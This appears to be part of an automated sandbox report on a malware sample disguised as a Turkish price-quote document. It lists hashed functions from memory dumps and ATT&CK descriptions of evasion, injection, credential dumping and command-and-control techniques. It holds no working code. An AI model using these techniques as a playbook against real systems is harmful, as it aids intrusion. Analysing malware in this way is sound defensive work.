Opcode ID: fbeae925aef4a81e95d6ce17b50258f9f5fde84d43cf4d12bb242c4505d494b9
Instruction ID: 627c1772e51697a3f10aae397d9256928c0d1806c189ceeb840dcb35e07f876a
Opcode Fuzzy Hash: fbeae925aef4a81e95d6ce17b50258f9f5fde84d43cf4d12bb242c4505d494b9
Instruction Fuzzy Hash: 38218D70E01249DFDF19CFA5D550AEEBFBAAF49308F148069F600A6294DB30D981CF20

Function 012F6300 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70aec1ca043b0eb0fee187a170d17506d0e5c451e9ed39eeef7a57b1162c3b75
Instruction ID: 2d79eb554c2e40b33a6ca9cd5fe415377bc0e762ce2c958d4ff77f77c4d721a3
Opcode Fuzzy Hash: 70aec1ca043b0eb0fee187a170d17506d0e5c451e9ed39eeef7a57b1162c3b75
Instruction Fuzzy Hash: E311C2353116129FD7255B2EC45492EFBA6FFC5B51B08407CEA06CB358CF21DC028790

Function 012FF658 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831a44c48ef92ef464ed4011cd57df6663755e5eba4b7d2a148c6937613d1567
Instruction ID: ff6e3d1e53d6e06fc0d6f57fa066b2e54007499e361379fe62f00acf5dda2aa4
Opcode Fuzzy Hash: 831a44c48ef92ef464ed4011cd57df6663755e5eba4b7d2a148c6937613d1567
Instruction Fuzzy Hash: 57217974D0020A9FDB04EFB9D94069EBFB2FF45300F1482AAD1149B268EB705E0ACF81

Function 012FF668 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6f616c43be461e80332a73f5d08ff835e4c94c544d52d33d1527ab24d65eb7
Instruction ID: 791d58305afdb41629e8e5d3fb15c79bf8ce50ddaa2a9ed8fdab7159c92acf47
Opcode Fuzzy Hash: bf6f616c43be461e80332a73f5d08ff835e4c94c544d52d33d1527ab24d65eb7
Instruction Fuzzy Hash: 0C11F974D0021A9FEB54EFB9D540A9EBFF2FB44304F5486A9D1189B258EB706A09CF81

Function 012AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709683349.00000000012AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12ad000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 9e5a98e585df85a9964b44442f37acc6ded2f2d43a7cf2f7ac259f74e5eb0b35
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: A311D075544244CFCB16CF54C5C4B15BF62FB44314F24C6AEE9494B652C33AD44ACF51

Function 012F27FB Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d914baeff75fbb1c92db9390a493f367f8e43acd5719bc345467cbadd4d4008a
Instruction ID: ac640a9792b6bb3fa2acf9431a5e3076a03cdcee74dc6a396412ad53f23fe157
Opcode Fuzzy Hash: d914baeff75fbb1c92db9390a493f367f8e43acd5719bc345467cbadd4d4008a
Instruction Fuzzy Hash: E711B2B4D0020ACFCF00EFA9D9596EEBBF9FF09304F10516AD905B6214EB305A95CBA1

Function 012F5E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e33bdfa789d3f5b27ff2d519ffb257235467b87f9aa3e816d945f025429ed8
Instruction ID: cd1ffdd93492a054f357212c558271be76fca3c93e914a40bbbd5d426815140b
Opcode Fuzzy Hash: f3e33bdfa789d3f5b27ff2d519ffb257235467b87f9aa3e816d945f025429ed8
Instruction Fuzzy Hash: 5301F532710155AFCB268E6998106FE7FB6EBC9240F18802AF605C7248CA718C1697A0

Function 012FE8E8 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e053afbbc4ac429d52a7099ae0c9416276e07c7f57326c8eb47d63cead61e72
Instruction ID: 47ce6d4522161a5de313b7c3feac8baec87b917ae5fd2de14de1f6f3cb2904e9
Opcode Fuzzy Hash: 2e053afbbc4ac429d52a7099ae0c9416276e07c7f57326c8eb47d63cead61e72
Instruction Fuzzy Hash: 2B116D74E0020AEFCF01DFB8D8559EEBBB1EB49300F104566DA20A7355D7345956CB90

Function 012FABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1189937dd07df60eec4d73e7e15c04e97523588a2870651ed44935b96824d91d
Instruction ID: 5262baea307559ae2c75ef2e5f1b8401c4938f83993dd0684b13795b197e07d8
Opcode Fuzzy Hash: 1189937dd07df60eec4d73e7e15c04e97523588a2870651ed44935b96824d91d
Instruction Fuzzy Hash: 85F0F6313202154B97265A2ED454B2EFAEEEFC8B51B09407DEB0DC7365EE21CC028380

Function 0129D01F Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709627597.000000000129D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0129D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_129d000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8682057e91d213f194cb03b34859559c68ae862a9851ba05bca3e9c1d19bc6f
Instruction ID: 360240236aff8509176e51869be86b5625346c747bc6e4463a007f135af644aa
Opcode Fuzzy Hash: d8682057e91d213f194cb03b34859559c68ae862a9851ba05bca3e9c1d19bc6f
Instruction Fuzzy Hash: C1F0F976600604AF97248F0AD985C23FBADEBC47B0755C59AE94A4B652C671FC42CEA0

Function 0129D010 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709627597.000000000129D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0129D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_129d000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e57cc8ca35ead0f38fb055ba765520c389b9e648fc6253cff461c89c57350db
Instruction ID: 4bd3d5f3e1ff4744fb1f257a3b1bd0dcf799ffbbb72b41ad8445d61862ce5a9b
Opcode Fuzzy Hash: 1e57cc8ca35ead0f38fb055ba765520c389b9e648fc6253cff461c89c57350db
Instruction Fuzzy Hash: 3BF03C75104680AFD7258F05C994C22BFB9EF867A07198489E8894B262C675FC42CB60

Function 012F9C2C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e197ea308ea1e61b9f2f6b4db6d1d2caef455a881da59134960179ead153de31
Instruction ID: e59dfa1db70f5ac73cd7be2ebcd2f5c5884d86f1ab0fae2c6c3e53a298f05ac4
Opcode Fuzzy Hash: e197ea308ea1e61b9f2f6b4db6d1d2caef455a881da59134960179ead153de31
Instruction Fuzzy Hash: D9F05832A101189FDF119F699808BEEBBF9EBC8324F10C03AEA0883214D2714A558B90

Function 012FAF5B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 940e4f660a2354583d55cbbaab8e294480132057c2ca8ad78ae9734804015e5e
Instruction ID: 979fe7245512956d68bc8cf0ccb3009adb504d7183fa67d95ff96b1e5b4c259e
Opcode Fuzzy Hash: 940e4f660a2354583d55cbbaab8e294480132057c2ca8ad78ae9734804015e5e
Instruction Fuzzy Hash: 07F03036644244EFCB01CF94EC40ACDFBB2FF8C321F1841A6EA11AB2A1C2719811CB60

Function 012F28A1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4306db73153a91f6da5416927a4b541c191c377cc0e9199849e8191aecdacfb3
Instruction ID: 4c9d81dae8106ec237e165dc1f871050a823b3d84312682d739125e45c4c7ef3
Opcode Fuzzy Hash: 4306db73153a91f6da5416927a4b541c191c377cc0e9199849e8191aecdacfb3
Instruction Fuzzy Hash: 67E02631E643668BCB01E7F49C540FEBF74ADD2222B59869BC06137095EB312219C3A2

Function 012F6739 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a2772de491ed85f0025a80e012e053cc659753b378c42e128f0fa6ac28686c9
Instruction ID: af9e7db3006652ddda9f26a5edab67dd9d62de81ebcc9b5b8afc510e0cd0bea7
Opcode Fuzzy Hash: 6a2772de491ed85f0025a80e012e053cc659753b378c42e128f0fa6ac28686c9
Instruction Fuzzy Hash: 03E0C23010C3AA8FD717B73698110623F7AAE82104B048EE0E1404FA7EDA30680F8762

Function 012F28B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 037c56d3517c284f5267f6b2a5ee69c1c01939b3d3ae1aacc9ae7932f96072f4
Instruction ID: 57fcb7b713a7cc3cda5ba3b18cc872e01c18247b14ea8750140405754ef26a03
Opcode Fuzzy Hash: 037c56d3517c284f5267f6b2a5ee69c1c01939b3d3ae1aacc9ae7932f96072f4
Instruction Fuzzy Hash: 84D02B31D2032A43CB00E7A5DC044EFFB38EEC1322B918322D41033000FB312658C2E1

Function 012FD6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772d88053eab8e44927eee198b2bca80224109e9041bff13e2de557de23f778e
Instruction ID: 5026a5b3022ff88926e91151afdf642175614e2b17d551bb189a148b500d73fc
Opcode Fuzzy Hash: 772d88053eab8e44927eee198b2bca80224109e9041bff13e2de557de23f778e
Instruction Fuzzy Hash: 93D04235E1514DCBCF30DFA8E4854DCFBB5EB49322F10942AD929A3251D63454558F11

Function 012FAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 790c6264e75d23cd1606d8538b75f0b1dfbebf3a7ee7860cebe243414ff50b24
Instruction ID: 8c2490f3c0ece13879361ee2a0ebc15d89c1ad3c0803d6865d012addabb3dd92
Opcode Fuzzy Hash: 790c6264e75d23cd1606d8538b75f0b1dfbebf3a7ee7860cebe243414ff50b24
Instruction Fuzzy Hash: 44D0673AB000089FCB149F98E8409DDF776FB98221B448116E915A3264C6319965DB64

Function 012F6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6295f4c1470f514066acd3623e91654b81cc89ce3782fe18eec7b46b4fa11c42
Instruction ID: fb8f4a6024579c14dda8da95f02c9dd6db15458dc89afc571b137a92b49f1609
Opcode Fuzzy Hash: 6295f4c1470f514066acd3623e91654b81cc89ce3782fe18eec7b46b4fa11c42
Instruction Fuzzy Hash: 83C012355003294FDA11F777EC44566373E67D0101B408A10A0050D56DDF74684E4791

Non-executed Functions

Function 012FF979 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 342e97d4c0886a9f0fbd9949073e2c72d15b5e083f2dfffd339145c1a908b9f3
Instruction ID: 858fd6c9aefa6feabcc0104f04a4a7e93db9730b45079e6d47c9a0d9b6dca741
Opcode Fuzzy Hash: 342e97d4c0886a9f0fbd9949073e2c72d15b5e083f2dfffd339145c1a908b9f3
Instruction Fuzzy Hash: 51C1C379E00218CFEB14DFA9C954B9DBBB2BF89300F1081A9D509AB355DB759E85CF10

Function 012FF2D8 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a2b6b17d3f2a509a0b077f08a576de54217fbe9f809924939423e0107e5241
Instruction ID: 130aef72fdf56287ffd2410a0f17bc72f79dd52a28411995260f8a042fc10377
Opcode Fuzzy Hash: b3a2b6b17d3f2a509a0b077f08a576de54217fbe9f809924939423e0107e5241
Instruction Fuzzy Hash: 31513575E10209DBEB04EFA9D6947EEFBB2FF89300F148129D600AB298D7759885CF54

Function 012FF4C4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b726505410091f64a39ec0d9e0d1ddbc25c29ea967bc056ee257ca8ed38e3c7
Instruction ID: ec6787a6dd193041468d46861cffa89ab625eaecf1e3ec68c14d215892186165
Opcode Fuzzy Hash: 5b726505410091f64a39ec0d9e0d1ddbc25c29ea967bc056ee257ca8ed38e3c7
Instruction Fuzzy Hash: 5F510276D10209CFDB14EFA8D684BAEFBB2FF58310F148129D615AB294C7759881CF54

Function 012F2A69 Relevance: 5.1, Strings: 4, Instructions: 96COMMON

Download Yara Rule

Strings

Xq, xrefs: 012F2BA4
Xq, xrefs: 012F2AD8
Xq, xrefs: 012F2A9E
Xq, xrefs: 012F2B57

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq
API String ID: 0-3965792415
Opcode ID: cfcf577020b55786df2b9137163f8389f452205592240622a8ede012d1f65e00
Instruction ID: 4acffec1cf39b7450cf360a19507c449487601ee4a778f41b6b2061eb44e3936
Opcode Fuzzy Hash: cfcf577020b55786df2b9137163f8389f452205592240622a8ede012d1f65e00
Instruction Fuzzy Hash: C4314131D1431E8BEF75CAA9C94136EFAA6AB85210F14407DCB19AB241EB70C985CB92

Function 012F6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;q, xrefs: 012F6952
\;q, xrefs: 012F692C
\;q, xrefs: 012F695E
\;q, xrefs: 012F6936

Memory Dump Source

Source File: 00000005.00000002.3709919878.00000000012F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_12f0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: \;q$\;q$\;q$\;q
API String ID: 0-2933265366
Opcode ID: 828745852934d1e04fcefaa686c9843b1a4286a935844374315b24c07a92c63f
Instruction ID: bae5fcc3c41860f1881d4978ac0738c067a439f0bd437514bf97fd074e8f7c12
Opcode Fuzzy Hash: 828745852934d1e04fcefaa686c9843b1a4286a935844374315b24c07a92c63f
Instruction Fuzzy Hash: 5001F2317301168FD7218A2DC541BA5B7E6FF887A4B29817EEB06CB371DA72EC418740

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

